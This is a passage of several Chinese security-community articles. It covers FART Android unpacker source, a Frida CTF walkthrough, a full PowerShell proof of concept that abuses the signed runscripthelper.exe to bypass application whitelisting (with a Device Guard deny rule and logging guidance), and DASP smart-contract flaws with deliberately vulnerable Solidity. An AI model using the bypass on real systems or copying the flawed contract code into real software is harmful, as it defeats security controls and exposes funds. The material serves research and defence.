所谓内存型脱壳机，就是直接修改解释器的具体实现源码，在解释器的内存中直接将捕获到的`dex`对象给写到存储器中，下述代码是`FART`组件一之`dump`
`dex`的核心源码：
const DexFile *dex_file = artmethod->GetDexFile();
const char *methodname =
PrettyMethod(artmethod).c_str();
//确定dex大小
const uint8_t *begin_ = dex_file->Begin();
size_t size_ = dex_file->Size();
memset(dexfilepath, 0, 2000);
int size_int_ = (int) size_;
//构造路径
memset(dexfilepath, 0, 2000);
sprintf(dexfilepath, "%s", "/sdcard/fart");
mkdir(dexfilepath, 0777);
//构造文件名
memset(dexfilepath, 0, 2000);
sprintf(dexfilepath, "/sdcard/fart/%s",
szProcName);
mkdir(dexfilepath, 0777);
//创建文件
memset(dexfilepath, 0, 2000);
sprintf(dexfilepath,
"/sdcard/fart/%s/%d_dexfile.dex",
szProcName, size_int_);
int dexfilefp = open(dexfilepath, O_RDONLY, 0666);
if (dexfilefp > 0) {
close(dexfilefp);
dexfilefp = 0;
//写入dex内容
} else {
dexfilefp =
open(dexfilepath, O_CREAT | O_RDWR,
0666);
if (dexfilefp > 0) {
write(dexfilefp, (void *) begin_,
size_);
fsync(dexfilefp);
close(dexfilefp);
}
}
下方代码为`FART`第二组件构建主动调用链之后`dump`方法体并写入`bin`文件的核心代码：
const DexFile::CodeItem * code_item =
artmethod->GetCodeItem();
if (LIKELY(code_item != nullptr)) {
int code_item_len = 0;
uint8_t *item = (uint8_t *) code_item;
//获取方法体大小
if (code_item->tries_size_ > 0) {
const uint8_t *handler_data =
(const uint8_t *) (DexFile::
GetTryItems
(*code_item,
code_item->
tries_size_));
uint8_t *tail =
codeitem_end(&handler_data);
code_item_len =
(int) (tail - item);
} else {
code_item_len =
16 +
code_item->
insns_size_in_code_units_ * 2;
}
//根据方法索引写入文件
memset(dexfilepath, 0, 2000);
int size_int = (int) dex_file->Size(); // Length of data
uint32_t method_idx =
artmethod->get_method_idx();
sprintf(dexfilepath,
"/sdcard/fart/%s/%d_%ld.bin",
szProcName, size_int, gettidv1());
int fp2 =
open(dexfilepath,
O_CREAT | O_APPEND | O_RDWR,
0666);
if (fp2 > 0) {
lseek(fp2, 0, SEEK_END);
memset(dexfilepath, 0, 2000);
int offset = (int) (item - begin_);
sprintf(dexfilepath,
"{name:%s,method_idx:%d,offset:%d,code_item_len:%d,ins:",
methodname, method_idx,
offset, code_item_len);
int contentlength = 0;
while (dexfilepath[contentlength]
!= 0)
contentlength++;
write(fp2, (void *) dexfilepath,
contentlength);
long outlen = 0;
//对方法体进行编码，防止打开是乱码，使用fart.py进行还原时，会解码
char *base64result =
base64_encode((char *) item,
(long)
code_item_len,
&outlen);
write(fp2, base64result, outlen);
write(fp2, "};", 2);
fsync(fp2);
close(fp2);
if (base64result != nullptr) {
free(base64result);
base64result = nullptr;
}
}
}
### 加入`FART`代码
这一步就非常简单了，相应的将`art`、`frameworks`、`libcore`目录对应路径下的文件替换掉`aosp`源码里的文件即可，然后重新`make
-j8`一遍，即可得到带脱壳功能的`aosp`镜像，也就是`FART`脱壳机。
寒冰大佬开源的是`6.0`的源码，大家手动编译`aosp6.0`的`FART`脱壳机是没有问题的。
### 制作镜像刷机
去[官网](https://developers.google.com/android/images#bullhead)（需科学上网）下载原设备的线刷包，注意下载对应设备并且与`aosp`版本相对应的版本，比如我们要下载`nexus5x`的`aosp6.0`版本，就是下图所示：
手机如何线刷这个不写了吧？百度一下全都是。具体来说就是手机进`bootloader`，电脑上直接运行`flash-all.sh`就完事儿，当然路径里得有`fastboot`命令。
线刷包解压出来，里面会还有个系统`zip`包，这个系统`zip`再解压出来，才是各种系统的`img`。
这时候把我们编译出来的各种`img`，替换掉原`zip`包的`img`，就可以刷进系统了。
## 总结
总结一下，难点在于编译`aosp`系统，只要会编译系统，改源码放进去其实很简单，当然最难的还是如何改源码，这个功力就更深了，再次膜寒冰大佬。
大家如果在编译、刷机和`FART`脱壳方面有疑问，欢迎联系我共同探讨。后续我也会进一步分享一些使用`FART`脱壳机进行脱壳的实际操作，敬请期待。 | 社区文章 |
# frida hook native层巧解Android逆向题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近还是老朋友发来一道Android逆向题，挺有意思，用frida hook native层解出了题目，记录下学习的过程。
## Java层静态分析
直接拖进jadx，MainActivity内容如下：
代码不多，基本流程就是，获取输入字符，通过一个反射调用（调用的函数是加密了，要用native层的decode解密）处理了一下输入字符串，然后通过check函数进行判断，前面的是处理过的输入字符串，后面的一串应该是密钥之类的。
## firda hook java层
首先比较关心decode解密的数据是啥，直接hook一下，可以看到反射调用的是base64，那么后续传入比较的字符串就是base64处理过了，我们解出来的flag应该也是要base64解密一次。
看到还有一串“Hikari#a0344y3y#1930121”，应该是传入check的密钥。
接下来比较关心的就是check函数是怎么处理输入的字符串。
## Native层静态分析
直接解压把libcheck.so拖入ida。
发现是静态注册的，直接能在导出函数里找到，关键步骤还是再最后几行，可以看到是通过RC4进行了加密，与一个数组进行了比较判断，跟进do_crypt函数后，处理伪码后如下：
那么这个数组的内容应该就是要找的加密后的flag。
## Frida hook native
记录下函数地址，关掉ida。
直接上frida，先来hook一下这个函数，看看输入输出，这里从上面可以看到是arm指令后面计算函数地址不需要加1，打印下输入输出的内容。
动态调试起来输入结果如下：
能成功hook了，刚好这里是通过RC4算法进行的加密，那么我们只需要把输入的内容替换成上面找到的flag的密文，就应该能得到真实的flag（base64编码后的）。
通过frida操作内存，把输入的参数arg[1]hook并覆写内存成我们密文的内容，这里需要注意一点，你输入的文本尽可能长一点，不然获取到的结果不全。
打印内存得到了一串字符串，base64解码一下，得到flag。
## 总结
题目设置刚刚好，后面看了别人的wp，发现rc4是魔改过的，但是这里是rc4，那么就可以这么取巧去做一下，运气也不错，直接做了出来，主要还是学习一下frida对native层的hook。 | 社区文章 |
# 【技术分享】如何利用runscripthelper.exe绕过应用程序白名单机制
|
##### 译文声明
本文是翻译文章，文章来源：specterops.io
原文地址：<https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、简介**
在实践[PowerShell课程](https://specterops.io/how-we-help/training-offerings/adversary-tactics-powershell)中的某个实验时，我偶然发现了System32目录下存在一个PowerShell宿主进程，该程序为runscripthelper.exe，经过微软的签名。Windows
10
RS3系统中刚刚引入这个程序，其功能是从特定目录读取PowerShell代码并加以执行。这种执行PowerShell代码的方式有一些副作用，我们可以借此绕过[受限语言模式](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-5.1)的限制。
反编译runscripthelper.exe后，其入口点如下所示：
private static int Main(string[] args)
{
try
{
if (args.Length != 3)
{
throw new Exception("Invalid command line");
}
string text = args[0];
string text2 = args[1];
string text3 = args[2];
if (string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text3))
{
throw new Exception("Invalid args");
}
if (!Program.k_scriptSet.Contains(text))
{
throw new Exception("Unknown script");
}
string text4 = Environment.ExpandEnvironmentVariables(Program.k_utcScriptPath);
if (text2.Length <= text4.Length || !text4.Equals(text2.Substring(0, text4.Length), StringComparison.OrdinalIgnoreCase))
{
throw new Exception("Unknown script path: " + text2);
}
text2 = Program.GetShortPath(text2);
text3 = Program.GetShortPath(text3);
if (text.CompareTo("surfacecheck") == 0)
{
SurfaceCheckProcessor.ProcessSurfaceCheckScript(text2, text3);
}
}
catch (Exception ex)
{
Console.WriteLine("Exception occurred: " + ex.Message);
Console.WriteLine("Inner Exception: " + ex.InnerException);
return -1;
}
return 0;
}
如你所见， 该程序接受三个命令行参数：
1、参数#1必须与"surfacecheck"字符串匹配，才能执行ProcessSurfaceCheckScript方法，这个方法会接收传入的第2及第3个参数。
2、参数#2包含待执行脚本的完整路径，并且会跟“k_utcScriptPath”全局变量进行比较（“k_utcScriptPath”这个环境变量展开后为“\?%ProgramData%MicrosoftDiagnosisscripts”）。
3、参数#3为一个已有目录的具体路径，命令输出结果会保存到该目录。
根据上述代码，待执行的脚本似乎必须位于%ProgramData%MicrosoftDiagnosisscripts目录中。默认情况下（至少在我当前系统下），普通用户不具备对该目录的写入权限。而理想情况下，我更希望能以非特权用户身份来绕过受限环境。因此，如果我能在runscripthelper.exe启动时以某种方式控制%ProgramData%的内容，我应该可以让该程序从可控的目录中执行脚本。待会我们再回到这个主题，现在我们可以先分析一下ProcessSurfaceCheckScript方法，看看它执行的是哪些内容：
public static void ProcessSurfaceCheckScript(string scriptPath, string outputPath)
{
if (!File.Exists(scriptPath))
{
throw new Exception("Script does not exist");
}
if (!Directory.Exists(outputPath))
{
throw new Exception("Output path does not exist");
}
PowerShell powerShell = PowerShell.Create();
powerShell.AddScript("Set-ExecutionPolicy -Scope Process unrestricted");
powerShell.AddScript("$InvokedFromUIF = $true");
powerShell.AddScript("$FailureText = "UIF"");
powerShell.AddScript("$ScriptPath = "" + Path.GetDirectoryName(scriptPath) + """);
powerShell.AddScript("$LogDir = "" + outputPath + """);
SurfaceCheckProcessor.ReadCmdlets(powerShell, scriptPath);
string script = File.ReadAllText(scriptPath);
powerShell.AddScript(script);
powerShell.Invoke();
if (powerShell.HadErrors)
{
foreach (ErrorRecord current in powerShell.Streams.Error)
{
Console.WriteLine("Error: " + current);
Console.WriteLine("Exception: " + current.Exception);
Console.WriteLine("Inner Exception: " + current.Exception.InnerException);
}
}
}
因此，从代码表面上来看，ProcessSurfaceCheckScript方法的功能是读取脚本的内容并加以执行（顺便提一下，该方法并不在意脚本的文件扩展名）。在运行AppLocker或者Device
Guard的系统上（现在Device Guard已改名为Windows Defender Application
control），由于程序的发布者为微软，因此该程序很有可能会被添加到白名单中，该进程中执行的任何PowerShell代码都会以全语言模式（full
language mode）执行，因此攻击者可以绕过受限语言模式的限制。
**
**
**二、利用方法**
作为一名攻击者，我们需要控制%ProgramData%的内容，将其指向我们能控制的某个目录。想完成这个任务可以有多种方法，我所知道的一种方法就是在调用[Win32进程创建函数](https://msdn.microsoft.com/en-us/library/aa389388\(v=vs.85\).aspx)时，设置[Win32_ProcessStartup](https://msdn.microsoft.com/en-us/library/aa394375\(v=vs.85\).aspx)类实例中的EnvironmentVariables属性。此外，WMI还提供了远程调用功能，这个功能有许多好处，并且有几个WMI宿主应用不大可能会被应用白名单机制所阻拦。与此同时，如果你没有传入程序预期的许多环境变量，许多子进程就无法正常加载。
成功控制传递给runscripthelper.exe的环境变量后，我们可以使用如下命令来执行我们的载荷：
runscripthelper.exe surfacecheck \?C:TestMicrosoftDiagnosisscriptstest.txt C:Test
能够绕过限制机制的完整PowerShell代码如下所示：
function Invoke-RunScriptHelperExpression {
<#
.SYNOPSIS
Executes PowerShell code in full language mode in the context of runscripthelper.exe.
.DESCRIPTION
Invoke-RunScriptHelperExpression executes PowerShell code in the context of runscripthelper.exe - a Windows-signed PowerShell host application which appears to be used for telemetry collection purposes. The PowerShell code supplied will run in FullLanguage mode and bypass constrained language mode.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.PARAMETER ScriptBlock
Specifies the PowerShell code to execute in the context of runscripthelper.exe
.PARAMETER RootDirectory
Specifies the root directory where the "MicrosoftDiagnosisscripts" directory structure will be created. -RootDirectory defaults to the current directory.
.PARAMETER ScriptFileName
Specifies the name of the PowerShell script to be executed. The script file can be any file extension. -ScriptFileName defaults to test.txt.
.PARAMETER HideWindow
Because Invoke-RunScriptHelperExpression launches a child process in a new window (due to how Win32_Process.Create works), -HideWindow launches a hidden window.
.EXAMPLE
$Payload = {
# Since this is running inside a console app,
# you need the Console class to write to the screen.
[Console]::WriteLine('Hello, world!')
$LanguageMode = $ExecutionContext.SessionState.LanguageMode
[Console]::WriteLine("My current language mode: $LanguageMode")
# Trick to keep the console window up
$null = [Console]::ReadKey()
}
Invoke-RunScriptHelperExpression -ScriptBlock $Payload
.OUTPUTS
System.Diagnostics.Process
Outputs a process object for runscripthelper.exe. This is useful if it later needs to be killed manually with Stop-Process.
#>
[CmdletBinding()]
[OutputType([System.Diagnostics.Process])]
param (
[Parameter(Mandatory = $True)]
[ScriptBlock]
$ScriptBlock,
[String]
[ValidateNotNullOrEmpty()]
$RootDirectory = $PWD,
[String]
[ValidateNotNullOrEmpty()]
$ScriptFileName = 'test.txt',
[Switch]
$HideWindow
)
$RunscriptHelperPath = "$Env:windirSystem32runscripthelper.exe"
# Validate that runscripthelper.exe is present
$null = Get-Item -Path $RunscriptHelperPath -ErrorAction Stop
# Optional: Since not all systems will have runscripthelper.exe, you could compress and
# encode the binary here and then drop it. That's up to you. This is just a PoC.
$ScriptDirFullPath = Join-Path -Path (Resolve-Path -Path $RootDirectory) -ChildPath 'MicrosoftDiagnosisscripts'
Write-Verbose "Script will be saved to: $ScriptDirFullPath"
# Create the directory path expected by runscripthelper.exe
if (-not (Test-Path -Path $ScriptDirFullPath)) {
$ScriptDir = mkdir -Path $ScriptDirFullPath -ErrorAction Stop
} else {
$ScriptDir = Get-Item -Path $ScriptDirFullPath -ErrorAction Stop
}
$ScriptFullPath = "$ScriptDirFullPath$ScriptFileName"
# Write the payload to disk - a requirement of runscripthelper.exe
Out-File -InputObject $ScriptBlock.ToString() -FilePath $ScriptFullPath -Force
$CustomProgramFiles = "ProgramData=$(Resolve-Path -Path $RootDirectory)"
Write-Verbose "Using the following for %ProgramData%: $CustomProgramFiles"
# Gather up all existing environment variables except %ProgramData%. We're going to supply our own, attacker controlled path.
[String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:* -Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" }
# Attacker-controlled %ProgramData% being passed to the child process.
$AllEnvVarsExceptLockdownPolicy += $CustomProgramFiles
# These are all the environment variables that will be explicitly passed on to runscripthelper.exe
$StartParamProperties = @{ EnvironmentVariables = $AllEnvVarsExceptLockdownPolicy }
$Hidden = [UInt16] 0
if ($HideWindow) { $StartParamProperties['ShowWindow'] = $Hidden }
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties
$RunscriptHelperCmdline = "$RunscriptHelperPath surfacecheck \?$ScriptFullPath $ScriptDirFullPath"
Write-Verbose "Invoking the following command: $RunscriptHelperCmdline"
# Give runscripthelper.exe what it needs to execute our malicious PowerShell.
$Result = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $RunscriptHelperCmdline
ProcessStartupInformation = $StartParams
}
if ($Result.ReturnValue -ne 0) {
throw "Failed to start runscripthelper.exe"
return
}
$Process = Get-Process -Id $Result.ProcessId
$Process
# When runscripthelper.exe exits, clean up the script and the directories.
# I'm using proper eventing here because if you immediately delete the script from
# disk then it will be gone before runscripthelper.exe has an opportunity to execute it.
$Event = Register-ObjectEvent -InputObject $Process -EventName Exited -SourceIdentifier 'RunscripthelperStopped' -MessageData "$RootDirectoryMicrosoft" -Action {
Remove-Item -Path $Event.MessageData -Recurse -Force
Unregister-Event -SourceIdentifier $EventSubscriber.SourceIdentifier
}
}
不使用PowerShell我们也能绕过应用程序白名单机制，比如，我们可以使用wbemtest.exe（该程序为WQL测试工具）完成这个任务，演示视频如下：
在wbemtest.exe这个例子中，我的载荷存放在C:TestMicrosoftDiagnosisscriptstest.txt中。此外，我所使用的环境变量如下所示：
“LOCALAPPDATA=C:\Test”
“Path=C:\WINDOWS\system32;C:\WINDOWS”
“SystemRoot=C:\WINDOWS”
“SESSIONNAME=Console”
“CommonProgramFiles=C:\Program Files\Common Files”
“SystemDrive=C:”
“TEMP=C:\Test”
“ProgramFiles=C:\Program Files”
“TMP=C:\Test”
“windir=C:\WINDOWS”
“ProgramData=C:\Test”
**三、防御措施**
如果使用的是Device Guard（现在是Windows Defender Application
Control），你可以在已有的策略中添加如下规则来阻止这个二进制文件，可参考[此链接](http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html)了解添加规则的具体步骤：
<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
<VersionEx>10.0.0.0</VersionEx>
<PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
<Rules>
<Rule>
<Option>Enabled:Unsigned System Integrity Policy</Option>
</Rule>
</Rules>
<!--EKUS-->
<EKUs />
<!--File Rules-->
<FileRules>
<Deny ID="ID_DENY_D_1" FriendlyName="runscripthelper.exe FileRule" FileName="runscripthelper.exe" MinimumFileVersion="65535.65535.65535.65535" />
</FileRules>
<!--Signers-->
<Signers />
<!--Driver Signing Scenarios-->
<SigningScenarios>
<SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="runscripthelper.exe bypass mitigation">
<ProductSigners>
<FileRulesRef>
<FileRuleRef RuleID="ID_DENY_D_1" />
</FileRulesRef>
</ProductSigners>
</SigningScenario>
</SigningScenarios>
<UpdatePolicySigners />
<CiSigners />
<HvciOptions>0</HvciOptions>
</SiPolicy>
**四、如何检测**
与其他PowerShell宿主进程一样，在脚本块（scriptblock）日志中会记录通过runscripthelper.exe执行PowerShell代码的动作，对应的事件为[4014事件](https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/)。
此外，“Windows PowerShell”日志中的400事件也会捕捉到runscripthelper.exe所对应的命令行上下文信息。
**五、何为runscripthelper.exe**
什么是runscripthelper.exe？该文件中的如下字符串引起了我的注意：
InvokedFromUIF
k_utcScriptPath
Google一番后，我发现UIF代表“User Initiated Feedback（用户发起的反馈）”，而UTF代表“Unified Telemetry
Client（统一遥测客户端）”。因此从字面上看，这个二进制文件是某种远程数据收集程序。为了避免微软向我的电脑推送并执行未经签名的PowerShell代码（并且这些代码很可能没有任何质量保证），我非常乐意在Device
Guard代码完整性策略中阻止这个二进制程序的运行。
**
**
**六、总结**
因此，本文分析的这个签名应用可以被攻击者恶意滥用，经过进一步分析，我们发现系统并没有限制这类程序的使用场景，因为每次Windows发布新版时都会引入新的应用程序。这个事实也再次证实应用白名单（application
whitelisting，AWL）仍然面临许多难题，其中一个基本的难题就是，如果我们想让一个可启动的、实用的系统保持最新状态，我们往往需要将经过微软签名的任何代码列入白名单中。这种决策会带来一些副作用，如果某些人在白名单维护方面态度非常严格，那么他们就需要实时关注像本文之类的文章，相应地更新黑名单规则。在白名单机制的基础上，使用这种黑名单规则可以取得很好的效果。然而想要维护这样一个黑名单并不是一件容易的事情，因为这个名单随着时间的推进会不断增长。需要明确的是，这一点并不是AWL的缺陷，只能算是AWL面临的一个挑战。我个人也会使用AWL，对这种机制的有效性也十分满意。绝大多数攻击者仍然会使用不可信的脚本或程序，在这种场景中，即使最基本的白名单策略应付起来也能游刃有余。
把AWL的事先放在一边不谈，单凭这类程序，攻击者就可以隐藏在良性的、“可信的”应用程序背后。因此，通过这个例子，我们需要总结出一个道理：白名单绕过技术是攻击者在后续攻击过程中的一大帮手，无论AWL机制是否存在，我们都应该对此有所警觉。
最后说一下，如果有人偶然发现微软向runscriphelper.exe推送了任何PowerShell代码，请上传这段代码并及时告诉我，不胜感激！ | 社区文章 |
译者：爱上平顶⼭
来源：[慢雾区](https://t.zsxq.com/rv7EAIi "慢雾区")
原文链接：<https://www.dasp.co/>
这是分布式应⽤安全项⽬（或DASP）2018 年排名前10的漏洞第⼀次迭代
该项⽬是[NCC集团](https://www.nccgroup.trust/uk/
"NCC集团")的⼀项举措。这是⼀个开放的合作项⽬，致⼒于发现安全社区内的智能合约漏洞。要参与，请[加⼊github⻚⾯](https://github.com/CryptoServices/dasp
"加⼊github⻚⾯")。
#### 1.重⼊漏洞
也被称为 或与空⽩竞争，递归调⽤漏洞，未知调⽤
> 这种漏洞在很多时候被很多不同的⼈忽略：审阅者倾向于⼀次⼀个地审查函数，并且假定保护⼦例程的调⽤将安全并按预期运⾏。 Phil Daian
重⼊攻击，可能是最着名的以太坊漏洞，第⼀次被发现时，每个⼈都感到惊讶。它在数百万美元的抢劫案中⾸次亮相，导致了以太坊的分叉。当初始执⾏完成之前，外部合同调⽤被允许对调⽤合同进⾏新的调⽤时，就会发⽣重新进⼊。对于函数来说，这意味着合同状态可能会在执⾏过程中因为调⽤不可信合同或使⽤具有外部地址的低级函数⽽发⽣变化。
损失：估计为350万ETH（当时约为5000万美元）
发现时间表：
2016年6⽉5⽇ [Christian
Reitwiessner发现了⼀个坚定的反模式](https://blog.ethereum.org/2016/06/10/smart-contract-security/ "Christian Reitwiessner发现了⼀个坚定的反模式")
2016年6⽉9⽇ [更多以太坊攻击：Race-To-Empty是真正的交易（vessenes.com）](http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/ "更多以太坊攻击：Race-To-Empty是真正的交易（vessenes.com）")
2016年6⽉12⽇
[在以太坊智能合约'递归调⽤'错误发现（blog.slock.it）之后，没有DAO资⾦⾯临⻛险。](https://blog.slock.it/no-dao-funds-at-risk-following-the-ethereum-smart-contract-recursive-call-bug-discovery-29f482d348b "在以太坊智能合约'递归调⽤'错误发现（blog.slock.it）之后，没有DAO资⾦⾯临⻛险。")
2016年6⽉17⽇
[我认为TheDAO现在正在流失（reddit.com）](https://www.reddit.com/r/ethereum/comments/4oi2ta/i_think_thedao_is_getting_drained_right_now/
"我认为TheDAO现在正在流失（reddit.com）")
2016年8⽉24⽇ [DAO的历史和经验教训（blog.sock.it）](https://blog.slock.it/the-history-of-the-dao-and-lessons-learned-d06740f8cfa5 "DAO的历史和经验教训（blog.sock.it）")
真实世界影响：
* [DAO](https://en.wikipedia.org/wiki/The_DAO_\(organization\) "DAO")
示例：
1. ⼀个聪明的合同跟踪⼀些外部地址的平衡，并允许⽤户通过其公共资⾦检索`withdraw()`功能。
2. ⼀个恶意的智能合同使⽤`withdraw()`函数检索其全部余额。
3. 在更新恶意合同的余额之前，受害者合同执⾏`call.value(amount)()` 低级别函数将以太⽹发送给恶意合同。
4. 该恶意合同有⼀个⽀付`fallback()`接受资⾦的功能，然后回调到受害者合同的`withdraw()`功能。
5. 第⼆次执⾏会触发资⾦转移：请记住，恶意合同的余额尚未从⾸次提款中更新。结果， 恶意合同第⼆次成功退出了全部余额。
代码示例：
以下函数包含易受重⼊攻击影响的函数。当低级别`call()`函数向`msg.sender`地址发送ether时，它变得易受攻击;
如果地址是智能合约，则付款将触发其备⽤功能以及剩余的交易⽓体：
function withdraw(uint _amount) {
require(balances[msg.sender] >= _amount);
msg.sender.call.value(_amount)();
balances[msg.sender] -= _amount;
}
其他资源：
* [DAO智能合约](https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code "DAO智能合约")
* [分析DAO的利⽤](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/ "分析DAO的利⽤")
* [简单的DAO代码示例](http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao "简单的DAO代码示例")
* [重⼊代码示例](https://github.com/trailofbits/not-so-smart-contracts/tree/master/reentrancy "重⼊代码示例")
* [有⼈试图利⽤我们的智能合约中的⼀个缺陷，盗取它的⼀切](https://blog.citymayor.co/posts/how-someone-tried-to-exploit-a-flaw-in-our-smart-contract-and-steal-all-of-its-ether/ "有⼈试图利⽤我们的智能合约中的⼀个缺陷，盗取它的⼀切")
#### 2.访问控制
> 通过调⽤initWallet函数，可以将Parity Wallet库合约变为常规多sig钱包并成为它的所有者。 Parity
访问控制问题在所有程序中都很常⻅，⽽不仅仅是智能合同。事实上，这是[OWASP排名前10位](https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
"OWASP排名前10位")的[第5位](https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
"第5位")。⼈们通常通过其公共或外部功能访问合同的功能。尽管不安全的可视性设置会给攻击者直接访问合同的私有价值或逻辑的⽅式，但访问控制旁路有时更加微妙。这些漏洞可能发⽣在合约使⽤已弃⽤tx.origin的验证调⽤者时，⻓时间处理⼤型授权逻辑require并delegatecall在[代理库](https://blog.zeppelin.solutions/proxy-libraries-in-solidity-79fbe4b970fd
"代理库")或[代理合约中](https://blog.indorse.io/ethereum-upgradeable-smart-contract-strategies-456350d0557c "代理合约中")鲁莽使⽤。
损失：估计为150,000 ETH（当时约3000万美元）
真实世界影响：
* [奇偶校验错误1](http://paritytech.io/the-multi-sig-hack-a-postmortem/ "奇偶校验错误1")
* [奇偶校验错误2](http://paritytech.io/a-postmortem-on-the-parity-multi-sig-library-self-destruct/ "奇偶校验错误2")
* [Rubixi](https://blog.ethereum.org/2016/06/19/thinking-smart-contract-security/ "Rubixi")
示例：
1. ⼀个聪明的合同指定它初始化它作为合同的业主的地址。这是授予特殊特权的常⻅模式，例如提取合同资⾦的能⼒。
2. 不幸的是，初始化函数可以被任何⼈调⽤，即使它已经被调⽤。允许任何⼈成为合同的拥有者并获得资⾦。
代码示例：
在下⾯的例⼦中，契约的初始化函数将函数的调⽤者设置为它的所有者。然⽽，逻辑与合约的构造函数分离，并且不记录它已经被调⽤的事实。
function initContract() public {
owner = msg.sender;
}
在Parity multi-sig钱包中，这个初始化函数与钱包本身分离并在“库”合同中定义。⽤户需要通过调⽤库的函数来初始化⾃⼰的钱包delegateCall。不幸的是，在我们的例⼦中，函数没有检查钱包是否已经被初始化。更糟糕的是，由于图书馆是⼀个聪明的合同，任何⼈都可以⾃⾏初始化图书馆并要求销毁。
其他资源：
* [修复Parity多信号钱包bug 1](https://github.com/paritytech/parity/pull/6103/files "修复Parity多信号钱包bug 1")
* [奇偶校验安全警报2](http://paritytech.io/security-alert-2/ "奇偶校验安全警报2")
* [在奇偶钱包multi-sig hack上](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7 "在奇偶钱包multi-sig hack上")
* [不受保护的功能](https://github.com/trailofbits/not-so-smart-contracts/tree/master/unprotected_function "不受保护的功能")
* [Rubixi的智能合约](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code "Rubixi的智能合约")
#### 3.算术问题
也被称为 整数溢出和整数下溢
> 溢出情况会导致不正确的结果，特别是如果可能性未被预期，可能会影响程序的可靠性和安全性。 Jules Dourlens
整数溢出和下溢不是⼀类新的漏洞，但它们在智能合约中尤其危险，其中⽆符号整数很普遍，⼤多数开发⼈员习惯于简单int类型（通常是有符号整数）。如果发⽣溢出，许多良性代码路径成为盗窃或拒绝服务的载体。
真实世界影响：
* [DAO](http://blockchain.unica.it/projects/ethereum-survey/attacks.html "DAO")
* [BatchOverflow（多个令牌）](https://peckshield.com/2018/04/22/batchOverflow/ "BatchOverflow（多个令牌）")
* [ProxyOverflow（多个令牌）](https://peckshield.com/2018/04/25/proxyOverflow/ "ProxyOverflow（多个令牌）")
示例：
1. ⼀个聪明的合同的`withdraw()`功能，您可以为您的余额仍是⼿术后积极检索，只要捐赠合同醚。
2. ⼀个攻击者试图收回⽐他或她的当前余额多。
3. 该`withdraw()`功能检查的结果总是正数，允许攻击者退出超过允许。由此产⽣的余额下降，并成为⽐它应该更⼤的数量级。
代码示例：
最直接的例⼦是⼀个不检查整数下溢的函数，允许您撤销⽆限量的标记：
function withdraw(uint _amount) {
require(balances[msg.sender] - _amount > 0);
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
第⼆个例⼦（在[⽆益的Solidity编码竞赛](https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte
"⽆益的Solidity编码竞赛")期间被发现）是由于数组的⻓度由⽆符号整数表示的事实促成的错误的错误：
function popArrayOfThings() {
require(arrayOfThings.length >= 0);
arrayOfThings.length--;
}
第三个例⼦是第⼀个例⼦的变体，其中两个⽆符号整数的算术结果是⼀个⽆符号整数：
function votes(uint postId, uint upvote, uint downvotes) {
if (upvote - downvote < 0) {
deletePost(postId)
}
}
第四个示例提供了即将弃⽤的var关键字。由于var将⾃身改变为包含指定值所需的最⼩类型，因此它将成为uint8保持值0.如果循环的迭代次数超过255次，它将永远达不到该数字，并且在执⾏运⾏时停⽌出⽓：
for (var i = 0; i < somethingLarge; i ++) {
// ...
}
其他资源：
* [SafeMath防⽌溢出](https://ethereumdev.io/safemath-protect-overflows/ "SafeMath防⽌溢出")
* [整数溢出代码示例](https://github.com/trailofbits/not-so-smart-contracts/tree/master/integer_overflow "整数溢出代码示例")
#### 4.未检查返回值的低级别调⽤
也称为 或与静默失败发送，未经检查发送
> 尽可能避免使⽤低级别的“调⽤”。如果返回值处理不当，它可能会导致意外的⾏为。Remix
其中的密实度的更深层次的特点是低级别的功能`call()`，`callcode()`，`delegatecall()`和`send()`。他们在计算错误⽅⾯的⾏为与其他Solidity函数完全不同，因为他们不会传播（或冒泡），并且不会导致当前执⾏的全部回复。相反，他们会返回⼀个布尔值设置为false，并且代码将继续运⾏。这可能会让开发⼈员感到意外，如果未检查到这种低级别调⽤的返回值，则可能导致失败打开和其他不想要的结果。请记住，发送可能会失败！
真实世界影响：
* [以太之王](https://www.kingoftheether.com/postmortem.html "以太之王")
* [Etherpot](https://www.dasp.co/ "Etherpot")
代码示例：
下⾯的代码是⼀个当忘记检查返回值时会出错的例⼦send()。如果调⽤⽤于将ether发送给不接受它们的智能合约（例如，因为它没有应付回退功能），则EVM将⽤其替换其返回值false。由于在我们的例⼦中没有检查返回值，因此函数对合同状态的更改不会被恢复，并且etherLeft变量最终会跟踪⼀个不正确的值：
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount);
}
其他资源：
